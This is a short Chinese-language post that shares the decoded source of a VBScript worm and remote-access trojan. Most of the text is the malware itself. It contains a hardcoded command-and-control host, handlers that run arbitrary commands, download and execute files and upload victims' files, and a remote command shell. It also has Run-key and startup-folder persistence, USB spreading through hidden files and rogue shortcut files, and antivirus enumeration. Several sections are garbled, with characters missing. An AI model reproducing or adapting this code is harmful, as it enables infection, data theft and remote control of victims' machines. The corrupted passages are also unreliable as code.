vbs病毒一枚,虽然远程下载地址都已经不存在了,但是还是回改系统设置啊。病毒解码结果:
'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "ghoost-souf.no-ip.org"
port = 1122
installdir = "%temp%"
lnkfile = true
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce
'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next
instance
while true
install
response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
param = cmd (1)
execute param
case "update"
param = cmd (1)
oneonce.close
set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false)
oneonce.write param
oneonce.close
shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
wscript.quit
case "uninstall"
uninstall
case "send"
download cmd (1),cmd (2)
case "site-send"
sitedownloader cmd (1),cmd (2)
case "recv"
param = cmd (1)
upload (param)
case "enum-driver"
post "is-enum-driver",enumdriver
case "enum-faf"
param = cmd (1)
post "is-enum-faf",enumfaf (param)
case "enum-process"
post "is-enum-process",enumprocess
case "cmd-shell"
param = cmd (1)
post "is-cmd-shell",cmdshell (param)
case "delete"
param = cmd (1)
deletefaf (param)
case "exit-process"
param = cmd (1)
exitprocess (param)
case "sleep"
param = cmd (1)
sleep = eval (param)
end select
wscript.sleep sleep
wend
sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon
upstart
for each drive in filesystemobj.drives
if drive.isready = true then
if drive.freespace > 0 then
if drive.drivetype = 1 then
filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
if filesystemobj.fileexists (drive.path & "\" & installname) then
filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
end if
for each file in filesystemobj.getfolder( drive.path & "\" ).Files
if not lnkfile then exit for
if instr (file.name,".") then
if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
file.attributes = 2+4
if ucase (file.name) <> ucase (installname) then
filename = split(file.name,".")
set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\soware\claes\." & lit(fileame, "uundifilm ".)&\") \dfaulion")
i instr (leicon,") 0 e
lkobjiconocaton =filepath
es
kobj.iconlocation fileicon en if
lobj.save
edf
end f
end i
n
fa foe fissmobgtlde re.ph& \" )sblder
i nt lnfldr thn ext fo
folder.attributes = 2+4
folder folrne
setlkoj = hllbj.cetehortu (rivepth& "\ & oldename& ".nk")
lnkobj.windowsyle = 7
lnko.targetph = "cmdx
lkjwkineory"
kobagent=" stt" reaenstlam," " hr(34)&" & cr(3) &"%Ltrt eplrr pace(ol@e.nme,", rw(3)& " &ciH34)&&eit frc s elojrera(HKYLOMCIN\owree\fr aln\)
idpr(lecon,,)= 0 t
lkbh8iooato flrph
ls
lnkobj.icnloction= foldericon
nd if
lojave()
next
end If
end If
end if
next
err.clear
end sub
sub uninstall
on error resume next
dim filename
dim foldername
shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true
for each drive in filesystemobj.drives
if drive.isready = true then
if drive.freespace > 0 then
if drive.drivetype = 1 then
for each file in filesystemobj.getfolder ( drive.path & "\").files
on error resume next
if instr (file.name,".") then
if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
file.attributes = 0
if ucase (file.name) <> ucase (installname) then
filename = split(file.name,".")
filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
else
filesystemobj.deletefile (drive.path & "\" & file.name)
end If
else
filesystemobj.deletefile (file.path)
end if
end if
next
for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
folder.attributes = 0
next
end if
end if
end if
next
wscript.quit
end sub
function post (cmd ,param)
post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function
function information
on error resume next
if inf = "" then
inf = hwid & spliter
inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set os = root.execquery ("select * from win32_operatingsystem")
for each osinfo in os
inf = inf & osinfo.caption & spliter
exit for
next
inf = inf & "plus" & spliter
inf = inf & security & spliter
inf = inf & usbspreading
information = inf
else
information = inf
end if
end function
sub upstart ()
on error resume Next
shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
end sub
function hwid
on error resume next
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set disks = root.execquery ("select * from win32_logicaldisk")
for each disk in disks
if disk.volumeserialnumber <> "" then
hwid = disk.volumeserialnumber
exit for
end if
next
end function
function security
on error resume next
security = ""
set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for x = 1 to ubound (versionstr)
osversion = osversion & versionstr (i)
next
osversion = eval (osversion)
if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
for each objantivirus in colantivirus
security = security & objantivirus.displayname & " ."
next
if security = "" then security = "nan-av"
end function
function instance
on error resume next
usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then
if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
usbspreading = "true - " & date
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
else
usbspreading = "false - " & date
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
end if
end If
upstart
set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort = filesystemobj.getfile (installdir & installname)
if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
wscript.quit
end If
err.clear
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
if err.number > 0 then wscript.quit
end function
sub sitedownloader (fileurl,filename)
strlink = fileurl
strsaveto = installdir & filename
set objhttpdownload = createobject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, false
objhttpdownload.send
set objfsodownload = createobject ("scripting.filesystemobject")
if objfsodownload.fileexists (strsaveto) then
objfsodownload.deletefile (strsaveto)
end if
if objhttpdownload.status = 200 then
dim objstreamdownload
set objstreamdownload = createobject("adodb.stream")
with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
set objstreamdownload = nothing
end if
if objfsodownload.fileexists(strsaveto) then
shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub
sub download (fileurl,filedir)
if filedir = "" then
filedir = installdir
end if
strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
set objhttpdownload = createobject("msxml2.xmlhttp")
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
objhttpdownload.send ""
set objfsodownload = createobject ("scripting.filesystemobject")
if objfsodownload.fileexists (strsaveto) then
objfsodownload.deletefile (strsaveto)
end if
if objhttpdownload.status = 200 then
dim objstreamdownload
set objstreamdownload = createobject("adodb.stream")
with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
set objstreamdownload = nothing
end if
if objfsodownload.fileexists(strsaveto) then
shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub
function upload (fileurl)
dim httpobj,objstreamuploade,buffer
set objstreamuploade = createobject("adodb.stream")
with objstreamuploade
.type = 1
.open
.loadfromfile fileurl
buffer = .read
.close
end with
set objstreamdownload = nothing
set httpobj = createobject("msxml2.xmlhttp")
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
httpobj.send buffer
end function
function enumdriver ()
for each drive in filesystemobj.drives
diveseay = re hen
enumrive = eumdrver d ie.pah ` |" &drv.drietp & spler
end
next
d Functi
funcon enumf (enumdir)
enumfaf = enumdir & spliter
for each folder in filesystemobj.getfolder (enumdir).subfolders
enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next
for each file in filesystemobj.getfolder (enumdir).files
enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter
next
end function
function enumprocess ()
on error resume next
set objwmiservice = getobject("winmgms\\\roo\im2")
st olitm =objwierice.xcqery(slet * rm in32pocss",4)
di bjtem
fr ach bjitm incoliems
enumprocess = enumprocess & objitem.name "|"
emprocess enumpross & objem.proceid & "|" enoss uroc&bjiecutph &pir
x
nd ntn
sbxitoe (p)
o errrreume et
shlob.run"askill/ / /PI &pid,,tru
en sub
sb deeteff (ul)
on error resume next
filesystemobj.delefile urlfilesystobj.delefolder
enb
fi cml(cm
im htob,oexcredallrmay
st exec= shllobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
readallfromany = oexec.stderr.readall
else
readallfromany = ""
end if
cmdshell = readallfromany
end function
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